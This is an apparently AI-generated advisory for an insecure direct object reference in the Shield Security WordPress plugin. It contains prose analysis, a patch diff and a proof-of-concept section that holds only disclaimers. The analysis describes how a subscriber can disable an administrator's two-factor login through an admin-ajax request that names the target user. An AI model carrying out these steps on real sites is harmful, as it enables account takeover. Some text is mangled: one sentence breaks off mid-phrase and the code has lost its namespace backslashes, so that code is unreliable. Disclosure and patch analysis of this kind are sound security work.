Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-15370: Shield Security <= 21.0.9 – Authenticated (Subscriber+) Insecure Direct Object Reference to Disable Google Authenticator (wp-simple-firewall)

Severity Medium (CVSS 4.3)
CWE 639
Vulnerable Version 21.0.9
Patched Version 21.0.10
Disclosed January 14, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-15370:
This vulnerability is an Insecure Direct Object Reference (IDOR) in the Shield Security WordPress plugin (versions getUserById( (int)$this->action_data[ ‘active_wp_user’ ] ?? null );`). If that fails, it falls back to the current logged-in user. An attacker can supply a different user’s ID via the ‘active_wp_user’ parameter, and the action proceeds to modify that user’s MFA settings without authorization checks.

Exploitation occurs via a POST request to the WordPress admin-ajax.php endpoint. The attacker, authenticated with any valid account (Subscriber+), sends an action parameter set to ‘mfa_google_auth_toggle’ (the SLUG for the vulnerable class). The request must include a nonce (which the attacker can obtain for their own session) and the ‘active_wp_user’ parameter set to the numeric ID of the target user whose Google Authenticator they wish to disable. The plugin processes this request, toggling the MFA setting for the specified user ID.

The patch introduces a new trait, LoginWpUserConsumer, and a new base class, MfaLoginFlowBase. The fix changes the authorization model for MFA-related actions. The LoginWpUserConsumer trait (wp-simple-firewall/src/lib/src/ActionRouter/Actions/Traits/LoginWpUserConsumer.php) no longer accepts a user ID from request parameters. Instead, it requires both a ‘login_wp_user’ ID and a ‘login_nonce’ (lines 21-22). It then validates that the provided nonce is cryptographically tied to that specific user ID (line 33: `self::con()->comps->mfa->verifyLoginNonce( $user, $loginNonce )`). This ensures the request is part of a valid, user-specific login flow, preventing an attacker from specifying an arbitrary user ID. The MfaGoogleAuthToggle class was updated to extend MfaLoginFlowBase, inheriting this secure validation.

Successful exploitation allows an attacker to disable a critical security control (Google Authenticator MFA) for any user, including administrators. This significantly weakens the site’s authentication security. An attacker could first compromise a low-privilege account, then use this vulnerability to disable MFA for an admin, and subsequently attempt to compromise the admin account via password guessing or credential stuffing attacks without the MFA barrier. This facilitates privilege escalation and potential full site compromise.

Differential between vulnerable and patched code

Code Diff
--- a/wp-simple-firewall/icwp-wpsf.php
+++ b/wp-simple-firewall/icwp-wpsf.php
@@ -3,7 +3,7 @@
  * Plugin Name: Shield Security
  * Plugin URI: https://clk.shldscrty.com/2f
  * Description: Powerful, Easy-To-Use #1 Rated WordPress Security System
- * Version: 21.0.9
+ * Version: 21.0.10
  * Text Domain: wp-simple-firewall
  * Domain Path: /languages
  * Author: Shield Security
--- a/wp-simple-firewall/src/lib/functions/functions.php
+++ b/wp-simple-firewall/src/lib/functions/functions.php
@@ -1,39 +1,39 @@
-<?php declare( strict_types=1 );
-
-use FernleafSystemsWordpressPluginShieldFunctions;
-
-if ( function_exists( 'shield_security_get_plugin' ) ) {
-	return;
-}
-
-function shield_security_get_plugin() :ICWP_WPSF_Shield_Security {
-	return Functionsget_plugin();
-}
-
-function shield_get_visitor_scores( $IP = null ) :array {
-	return Functionsget_visitor_scores( $IP );
-}
-
-function shield_get_visitor_score( $IP = null ) :int {
-	return Functionsget_visitor_score( $IP );
-}
-
-/**
- * @param null $IP - defaults to current visitor
- * @throws Exception
- */
-function shield_test_ip_is_bot( $IP = null ) :bool {
-	return Functionstest_ip_is_bot( $IP );
-}
-
-function shield_get_ip_state( string $ip = '' ) :string {
-	return Functionsget_ip_state( $ip );
-}
-
-function shield_fire_event( string $event ) {
-	Functionsfire_event( $event );
-}
-
-function shield_start_scans( array $scans ) {
-	Functionsstart_scans( $scans );
+<?php declare( strict_types=1 );
+
+use FernleafSystemsWordpressPluginShieldFunctions;
+
+if ( function_exists( 'shield_security_get_plugin' ) ) {
+	return;
+}
+
+function shield_security_get_plugin() :ICWP_WPSF_Shield_Security {
+	return Functionsget_plugin();
+}
+
+function shield_get_visitor_scores( $IP = null ) :array {
+	return Functionsget_visitor_scores( $IP );
+}
+
+function shield_get_visitor_score( $IP = null ) :int {
+	return Functionsget_visitor_score( $IP );
+}
+
+/**
+ * @param null $IP - defaults to current visitor
+ * @throws Exception
+ */
+function shield_test_ip_is_bot( $IP = null ) :bool {
+	return Functionstest_ip_is_bot( $IP );
+}
+
+function shield_get_ip_state( string $ip = '' ) :string {
+	return Functionsget_ip_state( $ip );
+}
+
+function shield_fire_event( string $event ) {
+	Functionsfire_event( $event );
+}
+
+function shield_start_scans( array $scans ) {
+	Functionsstart_scans( $scans );
 }
 No newline at end of file
--- a/wp-simple-firewall/src/lib/src/ActionRouter/Actions/BaseAction.php
+++ b/wp-simple-firewall/src/lib/src/ActionRouter/Actions/BaseAction.php
@@ -154,14 +154,10 @@
 	 * @return self For method chaining
 	 */
 	public function setActionOverride( string $overrideKey, $value ) :self {
-		// Initialize action_overrides array if it doesn't exist
-		if ( !isset( $this->action_data[ 'action_overrides' ] ) ) {
-			$this->action_data[ 'action_overrides' ] = [];
-		}
-
-		// Set the override value
-		$this->action_data[ 'action_overrides' ][ $overrideKey ] = $value;
-
+		$this->action_data[ 'action_overrides' ] = array_merge(
+			is_array( $this->action_data[ 'action_overrides' ] ?? null ) ? $this->action_data[ 'action_overrides' ] : [],
+			[ $overrideKey => $value ]
+		);
 		return $this;
 	}

--- a/wp-simple-firewall/src/lib/src/ActionRouter/Actions/MfaLoginFlowBase.php
+++ b/wp-simple-firewall/src/lib/src/ActionRouter/Actions/MfaLoginFlowBase.php
@@ -0,0 +1,20 @@
+<?php declare( strict_types=1 );
+
+namespace FernleafSystemsWordpressPluginShieldActionRouterActions;
+
+use FernleafSystemsWordpressPluginShieldActionRouterActionsTraitsAuthNotRequired;
+use FernleafSystemsWordpressPluginShieldActionRouterActionsTraitsLoginWpUserConsumer;
+
+/**
+ * Base class for MFA actions that run during the login flow.
+ *
+ * These actions:
+ * - Do NOT require authentication (user is in the middle of logging in)
+ * - REQUIRE a valid login_nonce tied to the target user
+ * - Use login_wp_user parameter with login_nonce validation
+ */
+abstract class MfaLoginFlowBase extends BaseAction {
+
+	use AuthNotRequired;
+	use LoginWpUserConsumer;
+}
 No newline at end of file
--- a/wp-simple-firewall/src/lib/src/ActionRouter/Actions/MfaPasskeyAuthenticationStart.php
+++ b/wp-simple-firewall/src/lib/src/ActionRouter/Actions/MfaPasskeyAuthenticationStart.php
@@ -2,27 +2,22 @@

 namespace FernleafSystemsWordpressPluginShieldActionRouterActions;

-use FernleafSystemsWordpressPluginShieldActionRouterActionsTraitsAuthNotRequired;
+use FernleafSystemsWordpressPluginShieldActionRouterExceptionsActionException;
 use FernleafSystemsWordpressPluginShieldModulesLoginGuardLibTwoFactorProviderPasskey;

-class MfaPasskeyAuthenticationStart extends MfaUserConfigBase {
-
-	use AuthNotRequired;
+class MfaPasskeyAuthenticationStart extends MfaLoginFlowBase {

 	public const SLUG = 'mfa_passkey_auth_start';

 	protected function exec() {
-
 		$response = [
 			'success'     => false,
 			'page_reload' => false
 		];

-		$user = $this->getActiveWPUser();
-		if ( empty( $user ) ) {
-			$response[ 'message' ] = __( 'User must be logged-in.', 'wp-simple-firewall' );
-		}
-		else {
+		try {
+			$user = $this->getLoginWPUser();
+
 			$available = self::con()->comps->mfa->getProvidersAvailableToUser( $user );
 			/** @var Passkey $provider */
 			$provider = $available[ Passkey::ProviderSlug() ] ?? null;
@@ -31,19 +26,27 @@
 				$response[ 'message' ] = __( "Passkeys aren't available for this user.", 'wp-simple-firewall' );
 			}
 			else {
-				try {
-					$response = [
-						'success'     => true,
-						'challenge'   => $provider->startNewAuth(),
-						'page_reload' => false
-					];
-				}
-				catch ( Exception $e ) {
-					$response[ 'message' ] = __( "There was a problem preparing the Passkey Auth Challenge.", 'wp-simple-firewall' );
-				}
+				$response = [
+					'success'     => true,
+					'challenge'   => $provider->startNewAuth(),
+					'page_reload' => false
+				];
 			}
 		}
+		catch ( ActionException $e ) {
+			$response[ 'message' ] = $e->getMessage();
+		}
+		catch ( Exception $e ) {
+			$response[ 'message' ] = __( 'There was a problem preparing the Passkey Auth Challenge.', 'wp-simple-firewall' );
+		}

 		$this->response()->action_response_data = $response;
 	}
+
+	protected function getRequiredDataKeys() :array {
+		return [
+			'login_wp_user',
+			'login_nonce',
+		];
+	}
 }
 No newline at end of file
--- a/wp-simple-firewall/src/lib/src/ActionRouter/Actions/MfaPasskeyAuthenticationVerify.php
+++ b/wp-simple-firewall/src/lib/src/ActionRouter/Actions/MfaPasskeyAuthenticationVerify.php
@@ -8,14 +8,14 @@
 /**
  * Not currently used
  */
-class MfaPasskeyAuthenticationVerify extends MfaUserConfigBase {
+class MfaPasskeyAuthenticationVerify extends MfaLoginFlowBase {

 	use AuthNotRequired;

 	public const SLUG = 'mfa_passkey_auth_verify';

 	protected function exec() {
-		$available = self::con()->comps->mfa->getProvidersAvailableToUser( $this->getActiveWPUser() );
+		$available = self::con()->comps->mfa->getProvidersAvailableToUser( $this->getLoginWPUser() );
 		/** @var Passkey $provider */
 		$provider = $available[ Passkey::ProviderSlug() ];

--- a/wp-simple-firewall/src/lib/src/ActionRouter/Actions/Render/Components/IpAnalyse/Base.php
+++ b/wp-simple-firewall/src/lib/src/ActionRouter/Actions/Render/Components/IpAnalyse/Base.php
@@ -9,9 +9,7 @@
 class Base extends RenderBaseRender {

 	protected function getRequiredDataKeys() :array {
-		return [
-			'ip'
-		];
+		return [ 'ip' ];
 	}

 	protected function getTimeAgo( int $ts ) :string {
--- a/wp-simple-firewall/src/lib/src/ActionRouter/Actions/Render/Components/Scans/ItemAnalysis/BaseComponent.php
+++ b/wp-simple-firewall/src/lib/src/ActionRouter/Actions/Render/Components/Scans/ItemAnalysis/BaseComponent.php
@@ -0,0 +1,17 @@
+<?php declare( strict_types=1 );
+
+namespace FernleafSystemsWordpressPluginShieldActionRouterActionsRenderComponentsScansItemAnalysis;
+
+use FernleafSystemsWordpressPluginShieldActionRouterActionsRenderComponentsScansBaseScans;
+use FernleafSystemsWordpressPluginShieldScansAfsResultItem;
+
+abstract class BaseComponent extends BaseScans {
+
+	protected function getScanItem() :ResultItem {
+		return $this->action_data[ 'scan_item' ];
+	}
+
+	protected function getRequiredDataKeys() :array {
+		return [ 'scan_item' ];
+	}
+}
 No newline at end of file
--- a/wp-simple-firewall/src/lib/src/ActionRouter/Actions/Render/Components/Scans/ItemAnalysis/Container.php
+++ b/wp-simple-firewall/src/lib/src/ActionRouter/Actions/Render/Components/Scans/ItemAnalysis/Container.php
@@ -2,16 +2,31 @@

 namespace FernleafSystemsWordpressPluginShieldActionRouterActionsRenderComponentsScansItemAnalysis;

+use FernleafSystemsWordpressPluginShieldActionRouterActionsRenderComponentsScansBaseScans;
+use FernleafSystemsWordpressPluginShieldActionRouterExceptionsActionException;
+use FernleafSystemsWordpressPluginShieldModulesHackGuardScanResultsRetrieveRetrieveItems;
+use FernleafSystemsWordpressPluginShieldScansAfsResultItem;
 use FernleafSystemsWordpressServicesServices;

-class Container extends Base {
+class Container extends BaseScans {

 	public const SLUG = 'scanitemanalysis_container';
 	public const TEMPLATE = '/wpadmin_pages/insights/scans/modal/scan_item_analysis/modal_content.twig';

 	protected function getRenderData() :array {
 		$con = self::con();
-		$item = $this->getScanItem();
+		try {
+			/** @var ResultItem $item */
+			$item = ( new RetrieveItems() )->byID( (int)$this->action_data[ 'rid' ] );
+		}
+		catch ( Exception $e ) {
+			throw new ActionException( 'Not a valid scan item record' );
+		}
+
+		$fragment = $item->path_fragment;
+		if ( empty( $fragment ) ) {
+			throw new ActionException( 'Non-file scan items are not supported yet.' );
+		}

 		$fullPath = empty( $item->path_full ) ? path_join( ABSPATH, $item->path_fragment ) : $item->path_full;
 		return [
@@ -55,4 +70,10 @@
 			],
 		];
 	}
+
+	protected function getRequiredDataKeys() :array {
+		return [
+			'rid'
+		];
+	}
 }
 No newline at end of file
--- a/wp-simple-firewall/src/lib/src/ActionRouter/Actions/Render/Components/Scans/ItemAnalysis/Content.php
+++ b/wp-simple-firewall/src/lib/src/ActionRouter/Actions/Render/Components/Scans/ItemAnalysis/Content.php
@@ -6,7 +6,7 @@
 use FernleafSystemsWordpressServicesServices;
 use FernleafSystemsWordpressServicesUtilitiesFileConvertLineEndings;

-class Content extends Base {
+class Content extends BaseComponent {

 	public const SLUG = 'scanitemanalysis_content';
 	public const TEMPLATE = '/wpadmin_pages/insights/scans/modal/scan_item_analysis/file_content.twig';
--- a/wp-simple-firewall/src/lib/src/ActionRouter/Actions/Render/Components/Scans/ItemAnalysis/Diff.php
+++ b/wp-simple-firewall/src/lib/src/ActionRouter/Actions/Render/Components/Scans/ItemAnalysis/Diff.php
@@ -8,7 +8,7 @@
 use FernleafSystemsWordpressServicesUtilitiesIntegrationsWpHashesUtilDiff as DiffUtil;
 use FernleafSystemsWordpressServicesUtilitiesWpOrg;

-class Diff extends Base {
+class Diff extends BaseComponent {

 	public const SLUG = 'scanitemanalysis_diff';
 	public const TEMPLATE = '/wpadmin_pages/insights/scans/modal/scan_item_analysis/file_diff.twig';
--- a/wp-simple-firewall/src/lib/src/ActionRouter/Actions/Render/Components/Scans/ItemAnalysis/History.php
+++ b/wp-simple-firewall/src/lib/src/ActionRouter/Actions/Render/Components/Scans/ItemAnalysis/History.php
@@ -5,7 +5,7 @@
 use FernleafSystemsWordpressPluginShieldModulesHackGuardScanResultsRetrieveRetrieveItems;
 use FernleafSystemsWordpressServicesServices;

-class History extends Base {
+class History extends BaseComponent {

 	public const SLUG = 'scanitemanalysis_history';
 	public const TEMPLATE = '/wpadmin_pages/insights/scans/modal/scan_item_analysis/file_history.twig';
--- a/wp-simple-firewall/src/lib/src/ActionRouter/Actions/Render/Components/Scans/ItemAnalysis/Info.php
+++ b/wp-simple-firewall/src/lib/src/ActionRouter/Actions/Render/Components/Scans/ItemAnalysis/Info.php
@@ -8,7 +8,7 @@
 use FernleafSystemsWordpressServicesServices;
 use FernleafSystemsWordpressServicesUtilitiesWpOrgWpRepo;

-class Info extends Base {
+class Info extends BaseComponent {

 	public const SLUG = 'scanitemanalysis_info';
 	public const TEMPLATE = '/wpadmin_pages/insights/scans/modal/scan_item_analysis/file_info.twig';
--- a/wp-simple-firewall/src/lib/src/ActionRouter/Actions/Render/Components/Scans/ItemAnalysis/Malai.php
+++ b/wp-simple-firewall/src/lib/src/ActionRouter/Actions/Render/Components/Scans/ItemAnalysis/Malai.php
@@ -6,7 +6,7 @@
 use FernleafSystemsWordpressServicesServices;
 use FernleafSystemsWordpressServicesUtilitiesFilePaths;

-class Malai extends Base {
+class Malai extends BaseComponent {

 	public const SLUG = 'scanitemanalysis_malai';
 	public const TEMPLATE = '/wpadmin_pages/insights/scans/modal/scan_item_analysis/file_malai.twig';
--- a/wp-simple-firewall/src/lib/src/ActionRouter/Actions/Render/Components/Traffic/TrafficLiveLogs.php
+++ b/wp-simple-firewall/src/lib/src/ActionRouter/Actions/Render/Components/Traffic/TrafficLiveLogs.php
@@ -12,7 +12,7 @@

 	protected function getRenderData() :array {
 		$logLoader = new LoadRequestLogs();
-		$logLoader->limit = (int)$this->action_data[ 'limit' ] ?? 200;
+		$logLoader->limit = (int)( $this->action_data[ 'limit' ] ?? 200 );
 		$logLoader->offset = 0;
 		$logLoader->order_by = 'id';
 		$logLoader->order_dir = 'DESC';
--- a/wp-simple-firewall/src/lib/src/ActionRouter/Actions/Render/Components/UserMfa/ConfigEdit.php
+++ b/wp-simple-firewall/src/lib/src/ActionRouter/Actions/Render/Components/UserMfa/ConfigEdit.php
@@ -3,6 +3,7 @@
 namespace FernleafSystemsWordpressPluginShieldActionRouterActionsRenderComponentsUserMfa;

 use FernleafSystemsWordpressPluginShieldActionRouterActionsTraitsSecurityAdminNotRequired;
+use FernleafSystemsWordpressPluginShieldActionRouterExceptionsActionException;
 use FernleafSystemsWordpressServicesServices;

 class ConfigEdit extends UserMfaBase {
@@ -15,7 +16,15 @@

 	protected function getRenderData() :array {
 		$con = self::con();
-		$user = Services::WpUsers()->getUserById( (int)$this->action_data[ 'user_id' ] );
+
+		$WPU = Services::WpUsers();
+		$currentUser = $WPU->getCurrentWpUser();
+		$requestedUserID = (int)( $this->action_data[ 'user_id' ] ?? 0 );
+		if ( $requestedUserID > 0 && $currentUser->ID !== $requestedUserID && !$WPU->isUserAdmin( $currentUser ) ) {
+			throw new ActionException( __( 'Invalid profile request.', 'wp-simple-firewall' ) );
+		}
+
+		$user = $requestedUserID > 0 ? $WPU->getUserById( $requestedUserID ) : $currentUser;

 		$providers = array_map(
 			fn( $provider ) => $provider->getProviderName(),
--- a/wp-simple-firewall/src/lib/src/ActionRouter/Actions/Render/Components/UserMfa/ConfigForm.php
+++ b/wp-simple-firewall/src/lib/src/ActionRouter/Actions/Render/Components/UserMfa/ConfigForm.php
@@ -3,6 +3,7 @@
 namespace FernleafSystemsWordpressPluginShieldActionRouterActionsRenderComponentsUserMfa;

 use FernleafSystemsWordpressPluginShieldActionRouterActionsTraitsAnyUserAuthRequired;
+use FernleafSystemsWordpressPluginShieldActionRouterExceptionsActionException;
 use FernleafSystemsWordpressServicesServices;

 class ConfigForm extends UserMfaBase {
@@ -22,7 +23,13 @@

 	protected function getRenderData() :array {
 		$WPU = Services::WpUsers();
-		$user = $WPU->getUserById( (int)$this->action_data[ 'user_id' ] ?? $WPU->getCurrentWpUserId() );
+		$currentUser = $WPU->getCurrentWpUser();
+		$requestedUserID = (int)( $this->action_data[ 'user_id' ] ?? 0 );
+		if ( $requestedUserID > 0 && $currentUser->ID !== $requestedUserID && !self::con()->this_req->is_security_admin ) {
+			throw new ActionException( __( 'Invalid profile request.', 'wp-simple-firewall' ) );
+		}
+
+		$user = $requestedUserID > 0 ? $WPU->getUserById( $requestedUserID ) : $currentUser;

 		$providerRenders = array_map(
 			fn( $provider ) => $provider->renderUserProfileConfigFormField(),
--- a/wp-simple-firewall/src/lib/src/ActionRouter/Actions/Render/Components/Users/ProfileSuspend.php
+++ b/wp-simple-firewall/src/lib/src/ActionRouter/Actions/Render/Components/Users/ProfileSuspend.php
@@ -3,6 +3,7 @@
 namespace FernleafSystemsWordpressPluginShieldActionRouterActionsRenderComponentsUsers;

 use FernleafSystemsWordpressPluginShieldActionRouterActionsTraitsSecurityAdminNotRequired;
+use FernleafSystemsWordpressPluginShieldActionRouterExceptionsActionException;
 use FernleafSystemsWordpressServicesServices;

 /**
@@ -16,9 +17,17 @@
 	public const TEMPLATE = '/admin/user/profile/suspend.twig';

 	protected function getRenderData() :array {
+		$con = self::con();
+
 		$WPU = Services::WpUsers();
-		$editUser = $WPU->getUserById( $this->action_data[ 'user_id' ] );
-		$meta = self::con()->user_metas->for( $editUser );
+		$currentUser = $WPU->getCurrentWpUser();
+		$requestedUserID = (int)( $this->action_data[ 'user_id' ] ?? 0 );
+		if ( $requestedUserID > 0 && $currentUser->ID !== $requestedUserID && !$WPU->isUserAdmin( $currentUser ) ) {
+			throw new ActionException( __( 'Invalid profile request.', 'wp-simple-firewall' ) );
+		}
+
+		$editUser = $requestedUserID > 0 ? $WPU->getUserById( $requestedUserID ) : $currentUser;
+		$meta = $con->user_metas->for( $editUser );
 		return [
 			'strings' => [
 				'title'       => __( 'Suspend Account', 'wp-simple-firewall' ),
@@ -29,7 +38,7 @@
 					Services::WpGeneral()->getTimeStringForDisplay( $meta->record->hard_suspended_at ) ),
 			],
 			'flags'   => [
-				'can_suspend'  => self::con()->comps->user_suspend->canManuallySuspend()
+				'can_suspend'  => $con->comps->user_suspend->canManuallySuspend()
 								  || ( !$WPU->isUserAdmin( $editUser ) && $WPU->isUserAdmin() ),
 				'is_suspended' => $meta->record->hard_suspended_at > 0
 			],
@@ -40,8 +49,6 @@
 	}

 	protected function getRequiredDataKeys() :array {
-		return [
-			'user_id'
-		];
+		return [ 'user_id' ];
 	}
 }
 No newline at end of file
--- a/wp-simple-firewall/src/lib/src/ActionRouter/Actions/Render/FullPage/Mfa/BaseLoginIntentPage.php
+++ b/wp-simple-firewall/src/lib/src/ActionRouter/Actions/Render/FullPage/Mfa/BaseLoginIntentPage.php
@@ -16,7 +16,9 @@
 	use ActionsTraitsAuthNotRequired;

 	public function getLoginIntentJavascript() :array {
-		$userID = (int)$this->action_data[ 'user_id' ];
+		$userID = (int)$this->action_data[ 'user_id' ] ?? 0;
+		$loginNonce = (string)$this->action_data[ 'plain_login_nonce' ] ?? '';
+
 		$prov = self::con()->comps->mfa->getProvidersActiveForUser(
 			Services::WpUsers()->getUserById( $userID )
 		);
@@ -24,11 +26,12 @@
 		return [
 			'ajax'  => [
 				'passkey_auth_start' => ActionData::Build( MfaPasskeyAuthenticationStart::class, true, [
-					'active_wp_user' => $userID,
+					'login_wp_user' => $userID,
+					'login_nonce'   => $loginNonce,
 				] ),
 				'email_code_send'    => ActionData::Build( MfaEmailSendIntent::class, true, [
 					'wp_user_id'  => $userID,
-					'login_nonce' => $this->action_data[ 'plain_login_nonce' ],
+					'login_nonce' => $loginNonce,
 					'redirect_to' => esc_url_raw( $this->action_data[ 'redirect_to' ] ?? '' ),
 				] ),
 			],
--- a/wp-simple-firewall/src/lib/src/ActionRouter/Actions/Traits/ActiveWpUserConsumer.php
+++ b/wp-simple-firewall/src/lib/src/ActionRouter/Actions/Traits/ActiveWpUserConsumer.php
@@ -4,11 +4,17 @@

 use FernleafSystemsWordpressServicesServices;

+/**
+ * Trait for actions that operate on the current authenticated user's profile.
+ *
+ * SECURITY: This trait always returns the current logged-in user.
+ * For login flow actions (unauthenticated), use LoginWpUserConsumer instead.
+ */
 trait ActiveWpUserConsumer {

 	public function getActiveWPUser() :?WP_User {
-		$user = Services::WpUsers()->getUserById( (int)$this->action_data[ 'active_wp_user' ] ?? null );
-		return $user instanceof WP_User ? $user : Services::WpUsers()->getCurrentWpUser();
+		$user = Services::WpUsers()->getCurrentWpUser();
+		return $user instanceof WP_User ? $user : null;
 	}

 	public function hasActiveWPUser() :bool {
--- a/wp-simple-firewall/src/lib/src/ActionRouter/Actions/Traits/LoginWpUserConsumer.php
+++ b/wp-simple-firewall/src/lib/src/ActionRouter/Actions/Traits/LoginWpUserConsumer.php
@@ -0,0 +1,51 @@
+<?php declare( strict_types=1 );
+
+namespace FernleafSystemsWordpressPluginShieldActionRouterActionsTraits;
+
+use FernleafSystemsWordpressPluginShieldActionRouterExceptionsActionException;
+use FernleafSystemsWordpressServicesServices;
+
+/**
+ * Trait for actions that operate during the login flow (user NOT authenticated).
+ *
+ * SECURITY: This trait requires a valid login_nonce to identify the user.
+ * The login_nonce is created when the user successfully enters their password
+ * and is tied to their user ID. This prevents attackers from targeting
+ * arbitrary users during the login flow.
+ */
+trait LoginWpUserConsumer {
+
+	/**
+	 * @throws ActionException
+	 */
+	public function getLoginWPUser() :WP_User {
+		$userID = (int)$this->action_data[ 'login_wp_user' ] ?? 0;
+		$loginNonce = (string)$this->action_data[ 'login_nonce' ] ?? '';
+
+		if ( $userID < 1 || empty( $loginNonce ) ) {
+			throw new ActionException( __( 'Invalid login session.', 'wp-simple-firewall' ) );
+		}
+
+		$user = Services::WpUsers()->getUserById( $userID );
+		if ( !$user instanceof WP_User ) {
+			throw new ActionException( __( 'User not found.', 'wp-simple-firewall' ) );
+		}
+
+		// Validate the login_nonce belongs to this user
+		if ( !self::con()->comps->mfa->verifyLoginNonce( $user, $loginNonce ) ) {
+			throw new ActionException( __( 'Invalid or expired login session.', 'wp-simple-firewall' ) );
+		}
+
+		return $user;
+	}
+
+	public function hasValidLoginSession() :bool {
+		try {
+			$this->getLoginWPUser();
+			return true;
+		}
+		catch ( ActionException $e ) {
+			return false;
+		}
+	}
+}
 No newline at end of file
--- a/wp-simple-firewall/src/lib/src/ActionRouter/Constants.php
+++ b/wp-simple-firewall/src/lib/src/ActionRouter/Constants.php
@@ -106,7 +106,6 @@
 		ActionsPluginSetOpt::class,
 		ActionsToolPurgeProviderIPs::class,
 		ActionsTrafficLogTableAction::class,
-		ActionsUserSessionDelete::class,

 		ActionsDebugSimplePluginTests::class,
 		ActionsFullPageDisplayDisplayBlockPage::class,
--- a/wp-simple-firewall/src/lib/src/Modules/IPs/Lib/AutoUnblock/AutoUnblockMagicLink.php
+++ b/wp-simple-firewall/src/lib/src/Modules/IPs/Lib/AutoUnblock/AutoUnblockMagicLink.php
@@ -35,7 +35,7 @@
 			EmailVO::Factory(
 				$user->user_email,
 				__( 'Automatic IP Unblock Request', 'wp-simple-firewall' ),
-				$con->action_router->render( UnblockMagicLink::SLUG, [
+				$con->action_router->render( UnblockMagicLink::class, [
 					'home_url' => Services::WpGeneral()->getHomeUrl(),
 					'ip'       => $con->this_req->ip,
 					'user_id'  => $user->ID,
--- a/wp-simple-firewall/src/lib/src/Modules/Integrations/Lib/MainWP/Server/ExtensionSettingsPage.php
+++ b/wp-simple-firewall/src/lib/src/Modules/Integrations/Lib/MainWP/Server/ExtensionSettingsPage.php
@@ -28,14 +28,12 @@
 				'handles' => [
 					'mainwp_server',
 				],
-				'data'    => function () {
-					return [
-						'ajax' => [
-							'site_action' => ActionData::Build( MainWPServerActionsMainwpServerClientActionHandler::class ),
-							'ext_table'   => ActionData::Build( MainWPMainwpExtensionTableSites::class ),
-						],
-					];
-				},
+				'data'    => fn() => [
+					'ajax' => [
+						'site_action' => ActionData::Build( MainWPServerActionsMainwpServerClientActionHandler::class ),
+						'ext_table'   => ActionData::Build( MainWPMainwpExtensionTableSites::class ),
+					],
+				],
 			];
 			return $components;
 		} );
--- a/wp-simple-firewall/src/lib/src/Modules/LoginGuard/Lib/TwoFactor/MfaProfilesController.php
+++ b/wp-simple-firewall/src/lib/src/Modules/LoginGuard/Lib/TwoFactor/MfaProfilesController.php
@@ -65,7 +65,7 @@
 		add_action( 'edit_user_profile', function ( $user ) {
 			if ( $user instanceof WP_User ) {
 				$this->rendered = true;
-				echo self::con()->action_router->render( ActionsRenderComponentsUserMfaConfigEdit::SLUG, [
+				echo self::con()->action_router->render( ActionsRenderComponentsUserMfaConfigEdit::class, [
 					'user_id' => $user->ID
 				] );
 			}
--- a/wp-simple-firewall/unsupported.php
+++ b/wp-simple-firewall/unsupported.php
@@ -1,32 +1,34 @@
-<?php
-
-add_action( 'admin_notices', 'icwp_wpsf_unsupported_php' );
-add_action( 'network_admin_notices', 'icwp_wpsf_unsupported_php' );
-
-function icwp_wpsf_unsupported_php() {
-	global $sIcwpWpsfPluginFile;
-	$text = array(
-		'Sorry, your website runs an incredibly old version of PHP that Shield Security no longer supports, as of Shield v9.0',
-		"Your PHP no longer gets upgrades and it's difficult to maintain code for.",
-		'We recommend that you contact your website hosting provider on how to upgrade to at least PHP 7.4'
-	);
-	echo sprintf(
-		'<div class="error"><h4>%s</h4><p>%s</p>' .
-		'<p><a href="%s" target="_blank" style="font-weight: bolder">%s</a> ' .
-		'/ <a href="%s">%s</a></p></div>',
-
-		sprintf( 'Shield Security Plugin - Unsupported PHP Version: %s', PHP_VERSION ),
-		implode( '<br/>', $text ),
-		'https://clk.shldscrty.com/dl',
-		'Click here for more info',
-		add_query_arg(
-			array(
-				'action'   => 'deactivate',
-				'plugin'   => urlencode( $sIcwpWpsfPluginFile ),
-				'_wpnonce' => wp_create_nonce( 'deactivate-plugin_'.$sIcwpWpsfPluginFile )
-			),
-			self_admin_url( 'plugins.php' )
-		),
-		'Or, deactivate the Shield Security plugin for now'
-	);
+<?php
+
+if ( !defined( 'ABSPATH' ) ) { exit(); }
+
+add_action( 'admin_notices', 'icwp_wpsf_unsupported_php' );
+add_action( 'network_admin_notices', 'icwp_wpsf_unsupported_php' );
+
+function icwp_wpsf_unsupported_php() {
+	global $sIcwpWpsfPluginFile;
+	$text = array(
+		'Sorry, your website runs an incredibly old version of PHP that Shield Security no longer supports, as of Shield v9.0',
+		"Your PHP no longer gets upgrades and it's difficult to maintain code for.",
+		'We recommend that you contact your website hosting provider on how to upgrade to at least PHP 7.4'
+	);
+	echo sprintf(
+		'<div class="error"><h4>%s</h4><p>%s</p>' .
+		'<p><a href="%s" target="_blank" style="font-weight: bolder">%s</a> ' .
+		'/ <a href="%s">%s</a></p></div>',
+
+		sprintf( 'Shield Security Plugin - Unsupported PHP Version: %s', PHP_VERSION ),
+		implode( '<br/>', $text ),
+		'https://clk.shldscrty.com/dl',
+		'Click here for more info',
+		add_query_arg(
+			array(
+				'action'   => 'deactivate',
+				'plugin'   => urlencode( $sIcwpWpsfPluginFile ),
+				'_wpnonce' => wp_create_nonce( 'deactivate-plugin_'.$sIcwpWpsfPluginFile )
+			),
+			self_admin_url( 'plugins.php' )
+		),
+		'Or, deactivate the Shield Security plugin for now'
+	);
 }
 No newline at end of file

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
